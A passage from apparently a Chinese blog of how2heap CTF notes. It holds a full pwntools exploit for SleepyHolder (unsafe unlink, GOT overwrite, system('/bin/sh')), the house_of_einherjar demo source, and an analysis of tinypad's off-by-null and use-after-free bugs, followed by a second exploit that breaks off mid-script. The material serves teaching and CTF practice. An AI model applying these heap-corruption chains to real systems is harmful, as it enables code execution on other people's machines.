<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unlink(AV, P, BK, FD)<span class="comment">//P是指向本chunk的指针,此时指向fake chunk，即small secret的data处</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), <span class="number">0</span>))</span><br><span class="line">		malloc_printerr (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line">    <span class="comment">//检查本chunk的size(0x20)和next chunk的prev_size(fake padding:0x20)是否相等</span></span><br><span class="line"></span><br><span class="line">	FD = P-&gt;fd;<span class="comment">//P+0x10 FD=0x6020b8(&amp;small_ptr-0x18)</span></span><br><span class="line">	BK = P-&gt;bk;<span class="comment">//P+0x18 BK=0x6020c0(&amp;small_ptr-0x10)</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>)) </span><br><span class="line">        <span class="comment">//FD-&gt;bk=0x6020b8+0x18=0x6020d0(&amp;small_ptr)</span></span><br><span class="line">        <span class="comment">//BK-&gt;fd=0x6020c0+0x10=0x6020d0(&amp;small_ptr) check pass</span></span><br><span class="line">    	malloc_printerr (<span class="string">"corrupted double-linked list"</span>);</span><br><span class="line">	<span class="keyword">else</span></span><br><span class="line">	&#123;</span><br><span class="line">		FD-&gt;bk = BK;<span class="comment">//0x6020d0(small_ptr)=0x6020c0(big_ptr)</span></span><br><span class="line">		BK-&gt;fd = FD;<span class="comment">//0x6020d0(small_ptr)=0x6020b8(...)</span></span><br></pre></td></tr></table></figure>

<p>执行结束之后small_ptr指向0x6020b8，此时利用renew便可开始进行写</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580475321718.png" width="60%" height="60%">

<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">f = p64(<span class="number">0</span>)<span class="comment">#padding</span></span><br><span class="line">f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)<span class="comment">#big_ptr,huge_ptr,small_ptr</span></span><br><span class="line">f += p32(<span class="number">1</span>)<span class="comment">#Make big secret be using</span></span><br><span class="line">renew(<span class="number">1</span>, f)</span><br></pre></td></tr></table></figure>

<p>填充之后：</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580477497059.png" width="60%" height="60%">

<p>接着利用renew将free_GOT改成puts_plt，然后调用wipe(big)时，即可输出atoi在GOT表的地址，计算出libc base之后（直接修改free_GOT为one_gadget我没成功，条件均不满足）使用<code>system(&quot;/bin/sh&quot;)</code> getshell，具体步骤如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">renew(<span class="number">1</span>, p64(puts_plt))<span class="comment">#make free_GOT-&gt;puts_plt</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do puts(atoi_GOT)</span></span><br><span class="line"></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x36e80</span><span class="comment">#atoi base</span></span><br><span class="line"></span><br><span class="line">renew(<span class="number">1</span>,p64(libc_base+<span class="number">0x45390</span>))<span class="comment">#make free_GOT-&gt;system</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'/bin/sh'</span>,huge=<span class="literal">False</span>)<span class="comment">#big_ptr-&gt;"/bin/sh"</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do system(big_ptr)-&gt;system("/bin/sh")</span></span><br></pre></td></tr></table></figure>

<p>最终getshell</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'SleepyHolder'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">keep</span><span class="params">(size,content,huge=True)</span>:</span><span class="comment">#size:1 small,2 big,3 huge</span></span><br><span class="line">	p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line">	p.send(<span class="string">'1'</span>)</span><br><span class="line">	<span class="keyword">if</span> huge:</span><br><span class="line">		p.recvuntil(<span class="string">'lock it forever\n'</span>)</span><br><span class="line">		p.send(str(size))</span><br><span class="line">		p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line">		p.send(content)</span><br><span class="line">	<span class="keyword">else</span>:</span><br><span class="line">		p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line">		p.send(str(size))</span><br><span class="line">		p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line">		p.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">wipe</span><span class="params">(size)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line">	p.send(<span class="string">'2'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line">	p.send(str(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">renew</span><span class="params">(size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'Renew secret\n'</span>)</span><br><span class="line">	p.send(<span class="string">'3'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'Big secret\n'</span>)</span><br><span class="line">	p.send(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'secret: \n'</span>)</span><br><span class="line">	p.send(content)</span><br><span class="line">sleep(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">keep(<span class="number">1</span>,<span class="string">'aaaaaaaa'</span>)<span class="comment">#keep small secret</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'bbbbbbbb'</span>)<span class="comment">#keep big secret</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">keep(<span class="number">3</span>,<span class="string">'cccccccc'</span>)<span class="comment">#keep huge</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'Double free now'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">f_ptr = <span class="number">0x6020d0</span><span class="comment">#small_ptr</span></span><br><span class="line">fake_chunk = p64(<span class="number">0</span>) + p64(<span class="number">0x21</span>)<span class="comment">#fake chunk [prev_size,size]</span></span><br><span class="line">fake_chunk += p64(f_ptr - <span class="number">0x18</span>) + p64(f_ptr<span class="number">-0x10</span>)<span class="comment">#[fd,bk]</span></span><br><span class="line">fake_chunk += <span class="string">'\x20'</span><span class="comment">#fake prev_size</span></span><br><span class="line">keep(<span class="number">1</span>, fake_chunk,huge=<span class="literal">False</span>)<span class="comment">#</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#trigger Unlink</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> + <span class="string">'Unlink now'</span> + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">atoi_GOT = <span class="number">0x602080</span></span><br><span class="line">free_GOT = <span class="number">0x602018</span></span><br><span class="line">puts_GOT = <span class="number">0x602020</span></span><br><span class="line">puts_plt = <span class="number">0x400760</span></span><br><span class="line"></span><br><span class="line">f  = p64(<span class="number">0</span>)<span class="comment">#padding</span></span><br><span class="line">f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)<span class="comment">#big_ptr,huge_ptr,small_ptr</span></span><br><span class="line">f += p32(<span class="number">1</span>)<span class="comment">#Make big secret be using</span></span><br><span class="line">renew(<span class="number">1</span>, f)</span><br><span class="line">renew(<span class="number">1</span>, p64(puts_plt))<span class="comment">#make free_GOT-&gt;puts_plt</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do puts(atoi_GOT)</span></span><br><span class="line"></span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x36e80</span><span class="comment">#atoi base</span></span><br><span class="line"></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'libc_base:'</span>+hex(libc_base) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">renew(<span class="number">1</span>,p64(libc_base+<span class="number">0x45390</span>))<span class="comment">#free_GOT-&gt;system</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'/bin/sh'</span>,huge=<span class="literal">False</span>)<span class="comment">#big_ptr-&gt;"/bin/sh"</span></span><br><span class="line">wipe(<span class="number">2</span>)<span class="comment">#do system(big_ptr)-&gt;system("/bin/sh")</span></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - house_of_einherjar&amp;tinypad</title>
    <url>/2020/03/05/how2heap-house-of-einherjar-tinypad/</url>
    <content><![CDATA[<h1 id="how2heap-house-of-einherjar-amp-tinypad"><a href="#how2heap-house-of-einherjar-amp-tinypad" class="headerlink" title="how2heap - house_of_einherjar&amp;tinypad"></a>how2heap - house_of_einherjar&amp;tinypad</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="house-of-einherjar-c"><a href="#house-of-einherjar-c" class="headerlink" title="house_of_einherjar.c"></a>house_of_einherjar.c</h1><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;malloc.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">   Credit to st4g3r for publishing this technique</span></span><br><span class="line"><span class="comment">   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()</span></span><br><span class="line"><span class="comment">   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Welcome to House of Einherjar!\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Tested in Ubuntu 16.04 64bit.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"</span>);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">uint8_t</span>* a;</span><br><span class="line">	<span class="keyword">uint8_t</span>* b;</span><br><span class="line">	<span class="keyword">uint8_t</span>* d;</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe allocate 0x38 bytes for 'a'\n"</span>);</span><br><span class="line">	a = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0x38</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"a: %p\n"</span>, a);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">int</span> real_a_size = malloc_usable_size(a);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n"</span>, real_a_size);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// create a fake chunk</span></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"However, you can also create the chunk in the heap or the bss, as long as you know its address\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"(although we could do the unsafe unlink technique here in some scenarios)\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">size_t</span> fake_chunk[<span class="number">6</span>];</span><br><span class="line"></span><br><span class="line">    fake_chunk[<span class="number">0</span>] = <span class="number">0x100</span>; <span class="comment">// prev_size is now used and must equal fake_chunk's size to pass P-&gt;bk-&gt;size == P-&gt;prev_size</span></span><br><span class="line">    fake_chunk[<span class="number">1</span>] = <span class="number">0x100</span>; <span class="comment">// size of the chunk just needs to be small enough to stay in the small bin</span></span><br><span class="line">    fake_chunk[<span class="number">2</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">// fwd</span></span><br><span class="line">    fake_chunk[<span class="number">3</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">// bck</span></span><br><span class="line">    fake_chunk[<span class="number">4</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">//fwd_nextsize</span></span><br><span class="line">    fake_chunk[<span class="number">5</span>] = (<span class="keyword">size_t</span>) fake_chunk; <span class="comment">//bck_nextsize</span></span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake chunk at %p looks like:\n"</span>, fake_chunk);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"prev_size (not used): %#lx\n"</span>, fake_chunk[<span class="number">0</span>]);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"size: %#lx\n"</span>, fake_chunk[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"fwd: %#lx\n"</span>, fake_chunk[<span class="number">2</span>]);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"bck: %#lx\n"</span>, fake_chunk[<span class="number">3</span>]);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"fwd_nextsize: %#lx\n"</span>, fake_chunk[<span class="number">4</span>]);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"bck_nextsize: %#lx\n"</span>, fake_chunk[<span class="number">5</span>]);</span><br><span class="line"></span><br><span class="line">	<span class="comment">/* In this case it is easier if the chunk size attribute has a least significant byte with</span></span><br><span class="line"><span class="comment">	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of </span></span><br><span class="line"><span class="comment">	 * the chunk includes the amount requested plus some amount required for the metadata. */</span></span><br><span class="line">	b = (<span class="keyword">uint8_t</span>*) <span class="built_in">malloc</span>(<span class="number">0xf8</span>);</span><br><span class="line">    <span class="keyword">int</span> real_b_size = malloc_usable_size(b);</span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe allocate 0xf8 bytes for 'b'.\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b: %p\n"</span>, b);</span><br><span class="line"></span><br><span class="line">	<span class="keyword">uint64_t</span>* b_size_ptr = (<span class="keyword">uint64_t</span>*)(b - <span class="number">8</span>);</span><br><span class="line">    <span class="comment">/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/</span></span><br><span class="line"></span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nb.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size is: (0x100) | prev_inuse = 0x101\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We overflow 'a' with a single null byte into the metadata of 'b'\n"</span>);</span><br><span class="line">	a[real_a_size] = <span class="number">0</span>; </span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"b.size: %#lx\n"</span>, *b_size_ptr);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This is easiest if b.size is a multiple of 0x100 so you "</span></span><br><span class="line">           <span class="string">"don't change the size of b, only its prev_inuse bit\n"</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If it had been modified, we would need a fake chunk inside "</span></span><br><span class="line">           <span class="string">"b where it will try to consolidate the next chunk\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Write a fake prev_size to the end of a</span></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nWe write a fake prev_size to the last %lu bytes of a so that "</span></span><br><span class="line">           <span class="string">"it will consolidate with our fake chunk\n"</span>, <span class="keyword">sizeof</span>(<span class="keyword">size_t</span>));</span><br><span class="line">    <span class="keyword">size_t</span> fake_size = (<span class="keyword">size_t</span>)((b-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)*<span class="number">2</span>) - (<span class="keyword">uint8_t</span>*)fake_chunk);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake prev_size will be %p - %p = %#lx\n"</span>, b-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)*<span class="number">2</span>, fake_chunk, fake_size);</span><br><span class="line">    *(<span class="keyword">size_t</span>*)&amp;a[real_a_size-<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>)] = fake_size;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//Change the fake chunk's size to reflect b's new prev_size</span></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nModify fake chunk's size to reflect b's new prev_size\n"</span>);</span><br><span class="line">    fake_chunk[<span class="number">1</span>] = fake_size;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// free b and it will consolidate with our fake chunk</span></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"</span>);</span><br><span class="line">    <span class="built_in">free</span>(b);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"</span>, fake_chunk[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//if we allocate another chunk before we free b we will need to </span></span><br><span class="line">    <span class="comment">//do two things: </span></span><br><span class="line">    <span class="comment">//1) We will need to adjust the size of our fake chunk so that</span></span><br><span class="line">    <span class="comment">//fake_chunk + fake_chunk's size points to an area we control</span></span><br><span class="line">    <span class="comment">//2) we will need to write the size of our fake chunk</span></span><br><span class="line">    <span class="comment">//at the location we control. </span></span><br><span class="line">    <span class="comment">//After doing these two things, when unlink gets called, our fake chunk will</span></span><br><span class="line">    <span class="comment">//pass the size(P) == prev_size(next_chunk(P)) test. </span></span><br><span class="line">    <span class="comment">//otherwise we need to make sure that our fake chunk is up against the</span></span><br><span class="line">    <span class="comment">//wilderness</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"\nNow we can call malloc() and it will begin in our fake chunk\n"</span>);</span><br><span class="line">    d = <span class="built_in">malloc</span>(<span class="number">0x200</span>);</span><br><span class="line">    <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Next malloc(0x200) is at %p\n"</span>, d);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>通篇下来最重要的两点在<code>size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);</code>、<code>fake_chunk[1] = fake_size;</code></p>
<p>代码通过模拟漏洞修改了b的<code>prev_inuse</code>位为0，此时再<code>free(b)</code>的话就会触发向后合并，而向后合并时合并的chunk是由prev_size得到的，当我们把prev_size改成了<code>b&#39;s chunk header-fake_chunk&#39;s heder</code>，就会在fake chunk处触发unlink从而导致fake_chunk被合并，而且此时由于紧邻top_chunk，top_chunk就直接被改到我们栈上fake_chunk处去了，再malloc的时候就可以把我们那块fake_chunk malloc出来</p>
<p>某种意义上来说这个好像也和house of force一样？是通过利用topchunk从而malloc出我们想要的地址来，（代码中写到的<code>If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk</code>，就是说如果我们在溢出的时候把size大小更改了，比如从0x101改成0x100，再去进行操作的时候由于此时得到的nextchunk在被更改chunk的内部，所以我们需要能够写到这个地方修改出一个假的chunk头才能不报错）</p>
<p>不过我有一点没弄明白：<code>fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk&#39;s size to pass P-&gt;bk-&gt;size == P-&gt;prev_size</code>，因为在这里设置了新top chunk之后好像没必要改这个prev_size?就算把这步操作改成0也还是一样达到了效果，所以这里好像有一个疑点（后来发现只是我单纯的把这个理解成设置top_chunk了，但其实这个利用说白了就是修改prev_size还有chunk的inues位，用来oevrlap chunk也是一样的用法）</p>
<p>….感觉慢慢熟悉起堆来之后就不想写debug了23333，因为稍微进GDB看一下就能弄清楚了，所以也是直接撸题吧</p>
<h1 id="tinypad"><a href="#tinypad" class="headerlink" title="tinypad"></a>tinypad</h1><p>程序有很多小函数，这里就不做分析了，直接分析主要的逻辑或有漏洞的逻辑</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><h3 id="read-until"><a href="#read-until" class="headerlink" title="read_until"></a>read_until</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583305845380.png" alt="1583305845380"></p>
<p>其中当i=len的时候，<code>a1[i]=0</code>的操作下标越界，可能会产生<code>off_by_null</code></p>
<h3 id="Add"><a href="#Add" class="headerlink" title="Add"></a>Add</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304338827.png" alt="1583304338827"></p>
<p>首先从四个memo中获取一个size段为空的下标，然后malloc(size)，size为1<del>0x100之间，对应的chunk也就是在0x20</del>0x110之间，然后根据存在bss的指针读入size的数据</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304560937.png" alt="1583304560937"></p>
<p>这里如果读入的下标是1对应数组下标0，判断对应处size是否为零，然后free掉ptr之后把size置零，没有把ptr置零</p>
<h3 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h3><p><img src="/2020/03/05/how2heap-house-of-einherjar-tinypad/1583304758155.png" alt="1583304758155"></p>
<p>edit稍微有点意思，因为我们的mome每次做操作都是从+16的位置开始的，开始的时候我没看懂这个是什么意思，后来在edit这里发现这个前面<code>32*_QWORD</code>的空间是用来当缓冲区的，edit之前先把下标对应的chunk中的内容用strcpy拷到memo缓冲区中去，然后用<code>strlen</code>获取缓冲区的长度，并将这段长度的内容输出，接着再通过strlen获取对应chunk中字符串的长度，然后read到缓冲区中去</p>
<h2 id="Exploit-amp-漏洞分析"><a href="#Exploit-amp-漏洞分析" class="headerlink" title="Exploit&amp;漏洞分析"></a>Exploit&amp;漏洞分析</h2><p>漏洞应该比较明显了</p>
<ol>
<li>read_until的<code>off_by_null</code></li>
<li>由于每次程序的显示是通过ptr是否为空来判断是否需要输出的，但是由于清除的是size，所以每次都会输出…直接leak各种base</li>
<li>结合上面的使用<code>house_of_einherjar</code>即可，不过我才知道这个用法原来是只要修改了prev_size然后用就好23333，本来以为是专门用来设置<code>top_chunk</code>的，不过也确实说明了prev_size确实可以改的很大，这是我之前在写题的时候没有想到的</li>
</ol>
<p>有了漏洞思路之后我的做法大致就是，先malloc四个memo，然后泄露出libc和heap之后再把这几个全部free掉，用于重新构造利用的chunk结构</p>
<p>再次构造的时候大概就是这样:</p>
<table>
<thead>
<tr>
<th>0x101</th>
<th>0x71</th>
<th>0x101</th>
</tr>
</thead>
<tbody><tr>
<td>填上自身指针用于unlink</td>
<td>用于fastbin attck、填上prev_size，还有off_by_null</td>
<td>修改这个chunk的prev_inuse位</td>
</tr>
</tbody></table>
<p>free的时候就会直接把这三个全部都放到top_chunk里面去了，还有一个overlap的0x70 fastchunk</p>
<p>后续就是常规的fastbin attack了</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./tinypad'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(size,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'(CMD)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(<span class="string">'A'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'(SIZE)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(str(size))</span><br><span class="line">	p.recvuntil(<span class="string">'(CONTENT)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(content)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'(CMD)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(<span class="string">'D'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'(INDEX)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(str(idx+<span class="number">1</span>))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(idx,content)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'(CMD)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(<span class="string">'E'</span>)</span><br><span class="line">	p.recvuntil(<span class="string">'(INDEX)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(str(idx+<span class="number">1</span>))</span><br><span class="line">	p.recvuntil(<span class="string">'(CONTENT)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(content)</span><br><span class="line">	p.recvuntil(<span class="string">'(Y/n)&gt;&gt;&gt; '</span>)</span><br><span class="line">	p.sendline(<span class="string">'Y'</span>)</span><br><span class="line"></span><br><span class="line">add(<span 